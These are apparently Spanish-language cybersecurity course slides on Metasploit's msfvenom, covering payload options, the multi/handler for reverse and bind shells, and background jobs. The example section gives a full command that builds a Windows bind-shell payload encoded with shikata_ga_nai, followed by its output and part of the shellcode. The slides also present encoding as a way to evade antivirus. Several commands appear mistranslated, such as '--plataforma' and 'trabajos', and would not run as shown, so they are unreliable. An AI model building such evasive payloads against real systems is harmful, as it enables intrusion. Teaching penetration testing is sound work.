THE BRIDGE

CYBER SECURITY

MSFVenom

¿Qué veremos?

- MSFvenom:
  - ¿Qué es?
  - Opciones
  - Exploit multi/handler:
    - ¿Qué es?
    - Configuración
    - Uso básico
  - Ejemplos
  - Jobs

MSFvenom

- **¿Qué es?**
- Es la combinación de generación y codificación de carga útil.
- Reemplazó a **msfpayload** y **msfencode** el 8 de junio de 2015.
- Como recordatorio decir que **msfpayload** se encarga de generar **payloads** para distintas plataformas, mientras que **msfencode** se encarga de codificar dichos **payloads** con el objetivo de evadir la detección mediante el uso de antivirus.
- Los beneficios se enumeran a continuación:
  - Se simplifica la generación de payloads y los intentos de codificación de éstos.
  - Se presenta como una herramienta estándar que ayuda a los auditores y a cualquier usuario su manejo.
  - Es realmente intuitiva y con fácil aprendizaje.
  - El rendimiento ha sido mejorado considerablemente.
  - La velocidad con la que trabaja es claramente más alta que el uso de msfpayload y msfencode por separado.
  - Esto es bastante lógico debido a que se evita el paso de información entre distintos procesos, y toda acción es realizada por el mismo proceso.

- **Opciones**
- Alguna de las opciones más útiles de se enumeran a continuación:
  - **Payload**. Este parámetro especifica el **payload** que se utilizará.
  - **Encoder**. Este parámetro especifica el algoritmo que se utilizará para realizar la codificación.
  - **Format**. Especifica el formato, normalmente EXE.
  - **Bad-chars**. Este parámetro indica un listado de bytes que no se deben generar en el proceso de obtención del **payload**. Por ejemplo, si se quieren evitar los bytes nulos '\x00' se añaden en la lista de este parámetro.
  - **Iterations**. Indica el número de iteraciones que se ejecutará el algoritmo del **encoder**.
  - **Template**. Indica la plantilla de ejecutable que se utilizará.
  - **Keep**. Especifica que el **payload** se ejecutará en un **thread** y no en el **main** del ejecutable. Con esta opción se implementa la técnica de plantilla personalizada sigilosa.

MSFvenom

- **Exploit multi/handler**
  - **¿Qué es un handler?**
    - En Metasploit, un **handler** es lo que utilizamos para conectar con un ordenador victima.
    - Dependiendo del **payload**, el **handler** quedará a la escucha esperando una conexión por parte del **payload** (**reverse payload**) o iniciará una conexión contra un host en un puerto especificado (caso de un **bind payload**).

  - **Configuración y uso básico de exploit/muli/handler.**
    - La configuración básica y más conocida, simplemente trata de elegir el **exploit** (**exploit/multi/handler**), elegir el **payload**, configurar las opciones del **payload**
      - lhost y lport para un reverse shell
      - Rhost y rport para un bind shell)
      - ejecutar el exploit.

MSFvenom

- **Ejemplos**
  - El comando **msfvenom** y el shellcode resultante, generan un *shell* de vinculación de Windows con tres iteraciones del *codificador shikata_ga_nai* sin bytes nulos y en formato python.
    - msfvenom -a x86 --plataforma Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f Python

```
Encontrados 1 codificadores compatibles
Intentando codificar la carga útil con 3 iteraciones de x86/shikata_ga_nai
x86/shikata_ga_nai tuvo éxito con el tamaño 326 (iteración = 0)
x86/shikata_ga_nai tuvo éxito con el tamaño 353 (iteración = 1)
x86/shikata_ga_nai tuvo éxito con el tamaño 380 (iteración = 2)
x86/shikata_ga_nai elegido con tamaño final 380
Tamaño de la carga útil: 380 bytes
buf = ""
buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
buf += "\x6d\xfc\x58\xba\x82\xf9\xc0\x9a\x35\x72\x7d\x01\x9b"
```

  - Creando diferentes tipos de payload.
    - https://www.nosolohacking.info/msfvenom-creando-diferentes-tipos-de-payloads/

Metasploit

- **Jobs**
  - Módulo que se ejecutan en segundo plano.
  - El comando Jobs brinda la capacidad de enumerar y terminar estos trabajos.

```
msf > trabajos -h
Uso: trabajos [opciones]

Manipulación e interacción laboral activa.

OPCIONES:

    -K Finaliza todos los trabajos en ejecución.
    -h Bandera de ayuda.
    -i Muestra información detallada sobre un trabajo en ejecución.
    -k Finaliza el nombre de trabajo especificado.
    -l Lista todos los trabajos en ejecución.
    -v Imprime información más detallada. Usar con -i y -l

msf >
```


THE
BRIDGE